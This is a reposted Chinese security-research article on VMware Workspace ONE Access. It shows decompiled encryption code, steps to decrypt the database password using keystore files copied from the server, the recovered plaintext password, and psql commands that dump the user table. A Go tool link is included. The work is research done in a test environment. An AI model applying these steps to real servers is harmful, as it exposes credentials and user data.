网易首页 > 网易号 > 正文 申请入驻

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

0
分享至

在上篇文章《》提到连接数据库的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中,本文将要基于调试环境,分析加密流程,介绍详细的解密方法。

本文将要介绍以下内容

  • 加密流程

  • 解密方法

  • 数据库操作

0x02 加密流程

1.定位关键文件

经过一段时间的寻找,找到实现加密功能对应的文件为/opt/vmware/certproxy/lib/horizon-config-encrypter-0.15.jar

反编译获得加密的实现代码如下:

public final String encrypt(byte[] data) {

if (data != null && data.length != 0) {

if (!this.getKeyMgmt().randomKeyEnabled() && !this.getKeyMgmt().customKeysAvailable()) {

log.error("No custom encryption keys available, aborting encrypt.");

return null;

} else {

Cipher encryptCipher = this.getEncryptCipher();

try {

if (encryptCipher != null) {

byte[] utf8 = ArrayUtils.addAll(encryptCipher.getIV(), encryptCipher.doFinal(data));

ByteBuffer keyBuffer = ByteBuffer.allocate(2);

keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

utf8 = ArrayUtils.addAll(keyBuffer.array(), utf8);

utf8 = ArrayUtils.insert(0, utf8, new byte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

byte[] dec = Base64.encodeBase64(utf8);

return new String(dec, StandardCharsets.US_ASCII);

} catch (IllegalBlockSizeException | IllegalStateException | BadPaddingException var6) {

log.error(var6.getMessage(), var6);

return null;

} else {

return null;

2.动态调试

为了提高分析效率,采取动态调试的方法,流程如下:

(1)新建Java工程

下载VMware Workspace ONE Accessd服务器中/opt/vmware/certproxy/lib/下的所有jar文件并保存,在Java工程导入以上jar文件

新建package:com.vmware.horizon.common.utils.config

新建文件ConfigEncrypterImpl.java,内容如下:

package com.vmware.horizon.common.utils.config;

import com.google.common.annotations.VisibleForTesting;

import com.vmware.horizon.api.ConfigEncrypter;

import com.vmware.horizon.random.SecureRandomUtils;

import com.vmware.horizon.security.SecurityProviderHelper;

import java.nio.ByteBuffer;

import java.nio.charset.Charset;

import java.nio.charset.StandardCharsets;

import java.security.InvalidAlgorithmParameterException;

import java.security.InvalidKeyException;

import java.security.NoSuchAlgorithmException;

import java.security.SecureRandom;

import javax.annotation.Nonnull;

import javax.annotation.Nullable;

import javax.crypto.BadPaddingException;

import javax.crypto.Cipher;

import javax.crypto.IllegalBlockSizeException;

import javax.crypto.NoSuchPaddingException;

import javax.crypto.SecretKey;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import org.apache.commons.codec.binary.Base64;

import org.apache.commons.lang3.ArrayUtils;

import org.apache.commons.lang3.StringUtils;

import org.bouncycastle.crypto.fips.FipsUnapprovedOperationError;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

public class ConfigEncrypterImpl implements ConfigEncrypter {

public static final Charset encodingCharset;

private static final Logger log;

private static final SecureRandom srand;

private static ConfigEncrypterImpl staticKeyInstance;

private static final ConfigEncrypterImpl randomKeyInstance;

private static final Object keyInstanceLock;

private ConfigEncrypterKeyMgmt keyMgmt;

private static ConfigEncrypterImpl createRandomKeyInstance() {

SecurityProviderHelper.initializeSecurityProvider();

return new ConfigEncrypterImpl(false);

public static ConfigEncrypterImpl getInstance() {

synchronized(keyInstanceLock) {

if (staticKeyInstance == null) {

staticKeyInstance = new ConfigEncrypterImpl(true);

return staticKeyInstance;

public static ConfigEncrypterImpl getRandomKeyInstance() {

return randomKeyInstance;

private ConfigEncrypterImpl(boolean useStaticKey) {

if (useStaticKey && Boolean.parseBoolean(ConfigPropertiesUtil.getProperties().getProperty("components.configEncrypter.kms.enable"))) {

log.info("Not initializing static config keystore. Using KMS for secure config properties");

this.keyMgmt = null;

} else {

this.keyMgmt = new ConfigEncrypterKeyMgmt(useStaticKey);

@VisibleForTesting

ConfigEncrypterImpl(ConfigEncrypterKeyMgmt keyMgmt) {

this.keyMgmt = keyMgmt;

@Nullable

public final String decrypt(String data) {

if (StringUtils.isBlank(data)) {

return null;

} else {

byte[] encrypted = data.getBytes(encodingCharset);

boolean b64;

try {

b64 = Base64.isBase64(encrypted);

} catch (ArrayIndexOutOfBoundsException var11) {

b64 = false;

if (b64) {

encrypted = Base64.decodeBase64(encrypted);

if (ArrayUtils.isEmpty(encrypted)) {

return null;

} else {

int cipherVersion = Math.abs(encrypted[0]);

Cipher decryptCipher = null;

if (cipherVersion >= this.getKeyMgmt().getMinCipherVersion() && cipherVersion 0) {

return new String(utf8, encodingCharset);

log.debug("zero length decryption");

} catch (BadPaddingException var7) {

log.debug("Failed to decrypt the given value (padding)");

} catch (IllegalBlockSizeException var8) {

log.debug("Failed to decrypt the given value (block size)");

} catch (ArrayIndexOutOfBoundsException var9) {

log.debug("Failed to decrypt the given value (mac verification)");

} catch (IllegalStateException var10) {

log.debug("Failed to decrypt the given value (illegal state)");

return null;

@Nullable

public final String encrypt(@Nonnull String data) {

return StringUtils.isBlank(data) ? null : this.encrypt(data.getBytes(encodingCharset));

@Nullable

public final String encrypt(byte[] data) {

if (data != null && data.length != 0) {

if (!this.getKeyMgmt().randomKeyEnabled() && !this.getKeyMgmt().customKeysAvailable()) {

log.error("No custom encryption keys available, aborting encrypt.");

return null;

} else {

Cipher encryptCipher = this.getEncryptCipher();

try {

if (encryptCipher != null) {

byte[] utf8 = ArrayUtils.addAll(encryptCipher.getIV(), encryptCipher.doFinal(data));

ByteBuffer keyBuffer = ByteBuffer.allocate(2);

keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

utf8 = ArrayUtils.addAll(keyBuffer.array(), utf8);

utf8 = ArrayUtils.insert(0, utf8, new byte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

byte[] dec = Base64.encodeBase64(utf8);

return new String(dec, StandardCharsets.US_ASCII);

} catch (IllegalBlockSizeException | IllegalStateException | BadPaddingException var6) {

log.error(var6.getMessage(), var6);

return null;

} else {

return null;

@Nullable

private Cipher getDecryptCipher(int cipherVersion, byte[] decryptionKey, byte[] iv) {

Cipher decryptCipher = null;

if (!ArrayUtils.isEmpty(iv)) {

try {

decryptCipher = Cipher.getInstance(this.getKeyMgmt().getCipher(cipherVersion), SecurityProviderHelper.getJceProvider());

IvParameterSpec ivSpec = new IvParameterSpec(ArrayUtils.subarray(iv, 0, this.getKeyMgmt().getCipherNonceSize(cipherVersion, decryptCipher.getBlockSize())));

SecretKey secret = new SecretKeySpec(decryptionKey, this.getKeyMgmt().getCipher(cipherVersion));

decryptCipher.init(2, secret, ivSpec, srand);

} catch (InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | NoSuchPaddingException | IllegalArgumentException | FipsUnapprovedOperationError var7) {

log.error(var7.getMessage(), var7);

decryptCipher = null;

return decryptCipher;

@Nullable

private Cipher getEncryptCipher() {

Cipher encryptCipher = null;

try {

encryptCipher = Cipher.getInstance(this.getKeyMgmt().getCipher(), SecurityProviderHelper.getJceProvider());

byte[] iv = new byte[this.getKeyMgmt().getCipherNonceSize(encryptCipher.getBlockSize())];

srand.nextBytes(iv);

SecretKey secret = new SecretKeySpec(this.getKeyMgmt().getKey(), this.getKeyMgmt().getCipher());

IvParameterSpec ivSpec = new IvParameterSpec(iv);

encryptCipher.init(1, secret, ivSpec, srand);

} catch (InvalidAlgorithmParameterException | IllegalArgumentException | NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException | FipsUnapprovedOperationError var5) {

log.error(var5.getMessage(), var5);

return encryptCipher;

@VisibleForTesting

ConfigEncrypterKeyMgmt getKeyMgmt() {

return this.keyMgmt;

@VisibleForTesting

public void setCustomEncryptionKeystorePath(@Nonnull String path) {

this.getKeyMgmt().setCustomEncryptionKeystorePath(path);

public final boolean generateNewEncryptionKey() {

return this.getKeyMgmt().generateNewEncryptionKey();

public static void main(String[] values) {

String value = "1234567890";

ConfigEncrypterImpl encrypter = getInstance();

System.out.println(encrypter.encrypt(value));

static {

encodingCharset = StandardCharsets.ISO_8859_1;

log = LoggerFactory.getLogger(ConfigEncrypterImpl.class);

srand = SecureRandomUtils.getSecureRandomInstance();

randomKeyInstance = createRandomKeyInstance();

keyInstanceLock = new Object();

(2)动态调试

IDEA设置好远程调试参数,开启远程调试,分析结果如下:

在初始化过程中,需要读取文件\usr\local\horizon\conf\runtime-config.properties,如下图

加密过程需要读取密钥文件1\usr\local\horizon\conf\configkeystore.pass,如下图

加密过程需要读取密钥文件2\usr\local\horizon\conf\configkeystore.bcfks,如下图

(3)实现加密功能

在VMware Workspace ONE Accessd服务器下载以下文件:

\usr\local\horizon\conf\runtime-config.properties

\usr\local\horizon\conf\configkeystore.pass

\usr\local\horizon\conf\configkeystore.bcfks

保存至C:\test

修改以下变量:

DEFAULT_PROPERTIES_FILE = "c:\\test\\runtime-config.properties";

CUSTOM_ENCRYPTION_KEYSTORE_PATH = "c:\\test\\";

实现加密功能,如下图

1.获取连接数据库的加密口令

加密数据对应文件/usr/local/horizon/conf/runtime-config.properties中的secure.datastore.jdbc.password

我的测试环境内容为BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==,如下图

2.数据解密

代码如下:

String devalue = "BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==";

System.out.println(encrypter.decrypt(devalue));

解密出明文口令KuxmsscstQhxnqeFBzawyyML-Dascx0i,如下图

同/usr/local/horizon/conf/db.pwd中的内容一致,解密成功

(1)查看所有数据库

psql -h localhost -U horizon -l

输入连接口令KuxmsscstQhxnqeFBzawyyML-Dascx0i

查询结果如下图

存储数据的数据库为saas

(2)导出用户表信息

psql -h localhost -U horizon -c 'SELECT "strUsername" FROM "Users";' -d saas -W

输入连接口令KuxmsscstQhxnqeFBzawyyML-Dascx0i

这里需要注意,对于PostgreSql数据库,查询含有大写字母的字段必须加双引号,否则报错提示找不到表名

查询结果如下图

以上操作的Golang语言实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Go/blob/master/WorkspaceONE_Query_PostgreSQL.go

导出口令信息,结果如下图

本文介绍了利用VMware Workspace ONE Access漏洞调试环境破解数据库加密口令的方法,记录技术细节。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
普京透露:近70万俄罗斯军人参与特别军事行动

普京透露:近70万俄罗斯军人参与特别军事行动

参考消息
2024-06-15 12:26:07
警方通报“男子卧铺脱衣面对女乘客裸睡”:行拘5日

警方通报“男子卧铺脱衣面对女乘客裸睡”:行拘5日

极目新闻
2024-06-16 13:41:50
F16进场第一件事就是和宇内第一S500碰一下,会如何?

F16进场第一件事就是和宇内第一S500碰一下,会如何?

邵旭峰域
2024-06-15 14:00:02
性爱宝典:性交时应适时插入

性爱宝典:性交时应适时插入

福大菽
2024-06-16 16:14:40
女主播爆料行业内幕,大量女主播都有价格,周淑怡确实值百万

女主播爆料行业内幕,大量女主播都有价格,周淑怡确实值百万

新游戏大妹子
2024-06-14 11:43:32
上任不到24小时,印度外长对华喊话,称将重点解决中印边境问题

上任不到24小时,印度外长对华喊话,称将重点解决中印边境问题

简读视觉
2024-06-16 16:26:25
四个永不倒闭的行业,选择对了就能过上无忧无虑的生活!

四个永不倒闭的行业,选择对了就能过上无忧无虑的生活!

趣说世界哈
2024-06-16 07:55:06
一颗子弹别想运进台湾!美国军火马上就到,大陆早已准备海上拦截

一颗子弹别想运进台湾!美国军火马上就到,大陆早已准备海上拦截

小阿文热点军
2024-06-15 19:13:11
雷克萨斯新车太美!2.4T混合动力+顶尖马克音响,穷人也买得起

雷克萨斯新车太美!2.4T混合动力+顶尖马克音响,穷人也买得起

户外小阿隋
2024-06-15 11:38:00
决定俄乌命运时刻,1万集装箱武器:横穿西伯利亚铁路塞满弹药库

决定俄乌命运时刻,1万集装箱武器:横穿西伯利亚铁路塞满弹药库

农村雯雯的vlog
2024-06-16 03:46:13
【紧要】大暴雨!今日抵达广州!广州一地紧急泄洪!接下来天气……

【紧要】大暴雨!今日抵达广州!广州一地紧急泄洪!接下来天气……

江粤平台
2024-06-16 15:19:39
江苏“新增”号牌“苏X”?

江苏“新增”号牌“苏X”?

江南晚报
2024-06-16 11:49:18
106国参加瑞士和会:中方拒绝参会,与世界文明为伍,勿忘雅尔塔

106国参加瑞士和会:中方拒绝参会,与世界文明为伍,勿忘雅尔塔

大风文字
2024-06-03 10:27:47
"最美女婴"刚出生就成网红,凭颜值征服网友,护士:难得一遇

"最美女婴"刚出生就成网红,凭颜值征服网友,护士:难得一遇

大果小果妈妈
2024-06-15 08:51:31
承重柱“一踢就烂”、钢筋“锈迹斑斑”,业主:毫无安全感!恒大海花岛有小区被疑“海砂楼”,官方最新通报

承重柱“一踢就烂”、钢筋“锈迹斑斑”,业主:毫无安全感!恒大海花岛有小区被疑“海砂楼”,官方最新通报

每日经济新闻
2024-06-15 13:27:16
九人迈阿密国际2-1逆转费城联合,莱奥-阿方索补时奔袭绝杀

九人迈阿密国际2-1逆转费城联合,莱奥-阿方索补时奔袭绝杀

懂球帝
2024-06-16 09:46:35
笑死!阿信当众唱大s代表作,汪小菲若有所思,马筱梅表情亮了

笑死!阿信当众唱大s代表作,汪小菲若有所思,马筱梅表情亮了

娱记掌门
2024-06-16 16:02:10
人社部发布最新养老金数据,2024年企退休人员平均养老金是多少?

人社部发布最新养老金数据,2024年企退休人员平均养老金是多少?

社保小达人
2024-06-15 12:19:45
6月16日赛程公布:中国女排冲4连胜,总决赛席位将确定,美日大战

6月16日赛程公布:中国女排冲4连胜,总决赛席位将确定,美日大战

草根体育
2024-06-16 00:09:44
现在月薪1万在中国是什么水平?

现在月薪1万在中国是什么水平?

陌小尘桑
2024-01-03 18:50:03
2024-06-16 17:26:44
嘶吼RoarTalk
嘶吼RoarTalk
不一样的互联网安全新视界
7434文章数 10509关注度
往期回顾 全部

科技要闻

iPhone 16会杀死大模型APP吗?

头条要闻

G7峰会意总理向马克龙投去"死亡凝视" 视频在外网疯传

头条要闻

G7峰会意总理向马克龙投去"死亡凝视" 视频在外网疯传

体育要闻

没人永远年轻 但青春如此无敌还是离谱了些

娱乐要闻

上影节红毯:倪妮好松弛,娜扎吸睛

财经要闻

打断妻子多根肋骨 上市公司创始人被公诉

汽车要闻

售17.68万-21.68万元 极狐阿尔法S5正式上市

态度原创

健康
本地
艺术
时尚
军事航空

晚餐不吃or吃七分饱,哪种更减肥?

本地新闻

粽情一夏|海河龙舟赛,竟然成了外国人的大party!

艺术要闻

穿越时空的艺术:《马可·波罗》AI沉浸影片探索人类文明

40岁女人的“优雅范”穿搭,夏天学会这么搭,也能美得很轻松

军事要闻

以军宣布在加沙南部实行"战术暂停"

无障碍浏览 进入关怀版